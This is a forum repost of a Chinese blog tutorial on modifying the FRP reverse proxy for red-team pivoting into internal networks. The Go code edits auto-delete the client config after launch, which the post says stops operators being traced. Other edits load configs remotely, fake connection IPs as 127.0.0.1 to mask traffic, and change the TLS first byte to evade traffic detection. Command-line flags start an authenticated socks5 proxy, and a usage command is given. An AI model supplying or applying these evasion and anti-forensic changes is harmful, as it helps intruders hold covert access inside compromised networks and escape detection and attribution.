找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 227|回复: 0

FRP改造计划

[复制链接]

28

主题

1

回帖

148

积分

管理员

积分
148
发表于 2024-8-20 10:01:29 | 显示全部楼层 |阅读模式
FRP改造计划
  • 2023 年 04 月 26 日

AI 摘要(由 ChatGPT 总结生成):
本文介绍了对FRP(Fast Reverse Proxy)的改造计划,包括远程加载配置文件、配置文件自动删除、修改客户端使用Proxy的流量特征、TLS默认字节修改以及命令方式开启socks5代理等。改进使FRP更适用于红队代理场景,提高安全性和灵活性。详细改造步骤包括对源码的多处修改,如在`cmd/frpc/sub/root.go`中添加参数以实现配置文件自动删除,在`pkg/config/value.go`中实现远程加载配置文件功能,在`server/proxy/proxy.go`中修改客户端使用Proxy的流量特征,以及在`pkg/util/net/tls.go`中修改TLS默认字节。最后,通过命令方式开启socks5代理以避免配置文件加载请求。

前言
该 IDEA 源于一次外网打入内网后做代理时的灵感,原版 FRP 只能本地加载配置文件,故联想到可不可以“魔改” FRP 使其远程加载配置文件以及实现其它操作,遂事后去搜索借鉴其它大佬的思路以及教程,对 FRP 进行改造,使其更加契合红队做代理时的场景。
本文是基于最新版 FRP 0.48.0 版本的改造。话不多说,下面教程开始!

改造教程
基于项目源码修改,最好拥有简单的代码能力。

配置文件自动删除
原版 FRPC 只能基于本地文件加载运行,若后续不手动删除配置文件,则配置文件会遗留在目标机器上,后续可能被别人拿来分析并获取你的公网 IP 等,更甚者直接溯源到你本人,故运行 FRPC 时顺手删除配置文件是必要的。
功能点在 cmd/frpc/sub/root.go 文件中修改。原理是在 init 中注册参数,然后判断参数是否开启,开启就删除。代码如下:
  1. package sub

  2. import (
  3.     ……
  4. )

  5. const (
  6.     ……
  7. )

  8. var (
  9.     cfgFile     string
  10.     ……
  11.     bindPort           int

  12.     tlsEnable bool
  13.    
  14.     // 添加该行
  15.     delEnable bool
  16.     // END
  17. )

  18. func init() {
  19.     rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
  20.     rootCmd.PersistentFlags().StringVarP(&cfgDir, "config_dir", "", "", "config directory, run one frpc service for each file in config directory")
  21.     rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")

  22.     // 添加该行
  23.     rootCmd.PersistentFlags().BoolVarP(&delEnable, "delini", "d", false, "enable auto delete frpc.ini (only local files)")
  24.     // END
  25. }

  26. func RegisterCommonFlags(cmd *cobra.Command) {
  27.     ……
  28. }

  29. var rootCmd = &cobra.Command{
  30.     ……
  31. }

  32. func Execute() {
  33.     ……
  34. }

  35. func handleSignal(svr *client.Service, doneCh chan struct{}) {
  36.     ……
  37. }

  38. func parseClientCommonCfgFromCmd() (cfg config.ClientCommonConf, err error) {
  39.     ……
  40. }

  41. func runClient(cfgFilePath string) error {
  42.     ……
  43. }

  44. func startService(
  45.     ……
  46. ) (err error) {
  47.     log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel,
  48.     ……
  49.     svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile)
  50.     if errRet != nil {
  51.         err = errRet
  52.         return
  53.     }

  54.     // 添加该行
  55.     if delEnable == true {
  56.         err := os.Remove(cfgFile)
  57.         if err != nil {
  58.             return err
  59.         }
  60.     }
  61.     // END

  62.     closedDoneCh := make(chan struct{})
  63.     ……
  64.     return
  65. }
复制代码
使用方法:指定本地配置文件时多带一个 -d 或 --delini 参数就行,如下图:



远程加载配置文件
使得配置文件可以从网络加载,此处可以将配置文件直接写入到 FRPC 源码中,但这样不利于后期修改,故舍弃该方式,加入从网络加载方式。
功能点在 pkg/config/value.go 文件中修改。指定配置文件的参数若是 http 请求,则对其进行请求加载,否则,从对应指定路径加载。此处只需将 GetRenderedConfFromFile 函数功能修改即可,修改为如下:

  1. func GetRenderedConfFromFile(path string) (out []byte, err error) {
  2.     var b []byte
  3.     rawUrl := path
  4.     if strings.Contains(rawUrl, "http") {
  5.         log.Info("Remote load ini file")
  6.         response, _err1 := http.Get(path)
  7.         if _err1 != nil {
  8.             return
  9.         }
  10.         defer response.Body.Close()
  11.         body, _err := io.ReadAll(response.Body)
  12.         if _err != nil {
  13.             return
  14.         }
  15.         httpContent := string(body)
  16.         var content = []byte(httpContent)
  17.         out, err = RenderContent(content)
  18.         return

  19.     } else {
  20.         log.Info("Local load ini file")
  21.         b, err = os.ReadFile(path)
  22.         if err != nil {
  23.             return
  24.         }
  25.         localContent := string(b)
  26.         var content = []byte(localContent)
  27.         out, err = RenderContent(content)
  28.         return
  29.     }
  30. }
复制代码
功能演示如下图:



修改客户端使用Proxy的流量特征
正常情况下建议 FRP 服务端开启 tls_only = true 选项,同时 FRP 客户端配置文件中指定 tls_enable = true 选项以加密传输的流量,这样可以避免暴露你的服务器 IP 或本地 IP ,如果不想开启 TLS 选项的话,又不想暴露相关 IP ,那么可以对其进行如下修改以隐藏流量特征。
功能点在 server/proxy/proxy.go 文件中修改,将 GetWorkConnFromPool 函数内代码手动指定 IP 地址(IP 可随意修改),代码如下:
  1.         ……
  2.         if src != nil {
  3.             srcAddr, srcPortStr, _ = net.SplitHostPort(src.String())
  4.             // 追加如下
  5.             srcAddr = "127.0.0.1"
  6.             srcPort, _ = strconv.Atoi(srcPortStr)
  7.         }
  8.         if dst != nil {
  9.             dstAddr, dstPortStr, _ = net.SplitHostPort(dst.String())
  10.             // 追加如下
  11.             dstAddr = "127.0.0.1"
  12.             dstPort, _ = strconv.Atoi(dstPortStr)
  13.         }
  14.         ……
复制代码
上述问题建议在配置文件中启用 tls_enable 参数以规避。

TLS默认字节修改
从 v0.25.0 版本开始 FRPC 和 FRPS 之间支持通过 TLS 协议加密传输,为了端口复用,FRP 建立 TLS 连接的第一个字节为 0x17 ,有些流量识别程序识别到特定流量,可能会阻拦,故我们可以对其进行修改。
功能点在 pkg/util/net/tls.go 文件中修改,如下:
  1. ……
  2. // var FRPTLSHeadByte = 0x17
  3. // 修改为下方,可自定义其它
  4. var FRPTLSHeadByte = 0x88

  5. func CheckAndEnableTLSServerConnWithTimeout(
  6.     c net.Conn, tlsConfig *tls.Config, tlsOnly bool, timeout time.Duration,
  7. ) (out net.Conn, isTLS bool, custom bool, err error) {
  8.     sc, r := gnet.NewSharedConnSize(c, 2)
  9.     buf := make([]byte, 1)
  10.     var n int
  11.     _ = c.SetReadDeadline(time.Now().Add(timeout))
  12.     n, err = r.Read(buf)
  13.     _ = c.SetReadDeadline(time.Time{})
  14.     if err != nil {
  15.         return
  16.     }
  17. ……
复制代码
该方式在新版本中可在客户端配置中加入 disable_custom_tls_first_byte = true 参数使得 TLS 不发送 0x17 。

命令方式开启socks5代理
下述方法使用命令方式开启 socks5 代理,以避免配置文件加载请求。
修改源码文件 cmd/frpc/sub/tcp.go 并添加相关参数,如下:
  1. package sub

  2. import (
  3.     ……
  4. )

  5. func init() {
  6.     ……

  7.     //添加这几行
  8.     tcpCmd.PersistentFlags().StringVarP(&pluginName, "plugin", "", "", "plugins")
  9.     tcpCmd.PersistentFlags().StringVarP(&pluginUser, "plugin_user", "", "", "plugins user name")
  10.     tcpCmd.PersistentFlags().StringVarP(&pluginPass, "plugin_pass", "", "", "plguins user password")
  11.     //END

  12.     rootCmd.AddCommand(tcpCmd)
  13. }

  14. var tcpCmd = &cobra.Command{
  15.         ……
  16.         cfg.UseEncryption = useEncryption
  17.         cfg.UseCompression = useCompression

  18.         //添加这几行
  19.         cfg.Plugin = pluginName
  20.         if cfg.Plugin != "" {
  21.             cfg.PluginParams = make(map[string]string)
  22.             cfg.PluginParams["plugin_user"] = pluginUser
  23.             cfg.PluginParams["plugin_passwd"] = pluginPass
  24.         }
  25.         //END
  26.         ……
  27. }
复制代码
再修改 cmd/frpc/sub/root.go 文件,增加如下参数:
  1. var (
  2.     cfgFile    string
  3.     ……
  4.     bindPort    int

  5.     tlsEnable bool

  6.     //添加这几行
  7.     pluginName string
  8.     pluginUser string
  9.     pluginPass string
  10.     //END
  11. )
复制代码
最后使用方式如下:
  1. ./frpc tcp -s [IP]:[PORT] -r [远端端口] -t [Token] --plugin socks5 --plugin_user [鉴权用户] --plugin_pass [鉴权密码] -n [代理名称]
复制代码
如图所示:


此方法建议在 Windows 下使用,Linux 使用可以看到完整命令参数。

参考





恢复正常了……FRP改造计划 - Is Yang's Blog (isisy.com)


您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|整天BBB

GMT+8, 2025-1-10 14:24 , Processed in 0.084497 second(s), 19 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表